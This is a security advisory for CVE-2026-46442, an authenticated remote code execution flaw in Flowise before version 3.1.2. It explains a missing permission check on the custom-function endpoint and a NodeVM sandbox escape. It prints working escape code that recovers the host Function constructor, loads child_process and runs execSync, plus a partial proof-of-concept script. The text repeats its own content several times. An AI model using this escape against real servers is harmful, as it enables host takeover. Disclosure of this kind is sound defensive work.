CVE-2026-46442

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.

Summary

POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.

When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process.

The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.

Details

Two distinct security boundaries are violated.

1. Missing route-level authorization

packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:

router.post('/', nodesRouter.executeCustomFunction)

Other sensitive routes in the same codebase use explicit permission gates:

// packages/server/src/routes/chatflows/index.ts
router.post(
  '/',
  checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
  chatflowsController.saveChatflow
)

Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.

2. NodeVM sandbox escape

The endpoint forwards body.javascriptFunction through the following chain:

POST /api/v1/node-custom-function
  → packages/server/src/controllers/nodes/index.ts
  → packages/server/src/utils/executeCustomNodeFunction.ts
  → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
    executeJavaScriptCode(javascriptFunction, sandbox)
  → packages/components/src/utils.ts
    if !process.env.E2B_APIKEY → NodeVM fallback
  → [SINK] host process / child_process

packages/components/src/utils.ts only uses the external E2B sandbox when E2B_APIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:

const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY

Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.

These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as child_process:

const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();

The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2B_APIKEY for custom JS execution, so most deployments are affected.

PoC

Standalone verification (run from the repository root with E2B_APIKEY unset):

// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');

delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });

require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));

const { nodeClass: CustomFunction } = require(path.resolve(
  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));

const attackCode = `
async function f() {
  const error = new Error();
  error.name = Object.create(null);
  return error.stack;
}
return await f().catch(e => {
  const FunctionCtor = e.constructor.constructor;
  const cp =…

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.

Summary

POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.

When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process.

The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.

Details

Two distinct security boundaries are violated.

1. Missing route-level authorization

packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:

router.post('/', nodesRouter.executeCustomFunction)

Other sensitive routes in the same codebase use explicit permission gates:

// packages/server/src/routes/chatflows/index.ts
router.post(
  '/',
  checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
  chatflowsController.saveChatflow
)

Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.

2. NodeVM sandbox escape

The endpoint forwards body.javascriptFunction through the following chain:

POST /api/v1/node-custom-function
  → packages/server/src/controllers/nodes/index.ts
  → packages/server/src/utils/executeCustomNodeFunction.ts
  → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
    executeJavaScriptCode(javascriptFunction, sandbox)
  → packages/components/src/utils.ts
    if !process.env.E2B_APIKEY → NodeVM fallback
  → [SINK] host process / child_process

packages/components/src/utils.ts only uses the external E2B sandbox when E2B_APIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:

const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY

Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.

These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as child_process:

const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();

The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2B_APIKEY for custom JS execution, so most deployments are affected.

PoC

Standalone verification (run from the repository root with E2B_APIKEY unset):

// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');

delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });

require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));

const { nodeClass: CustomFunction } = require(path.resolve(
  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));

const attackCode = `
async function f() {
  const error = new Error();
  error.name = Object.create(null);
  return error.stack;
}
return await f().catch(e => {
  const FunctionCtor = e.constructor.constructor;
  const cp =…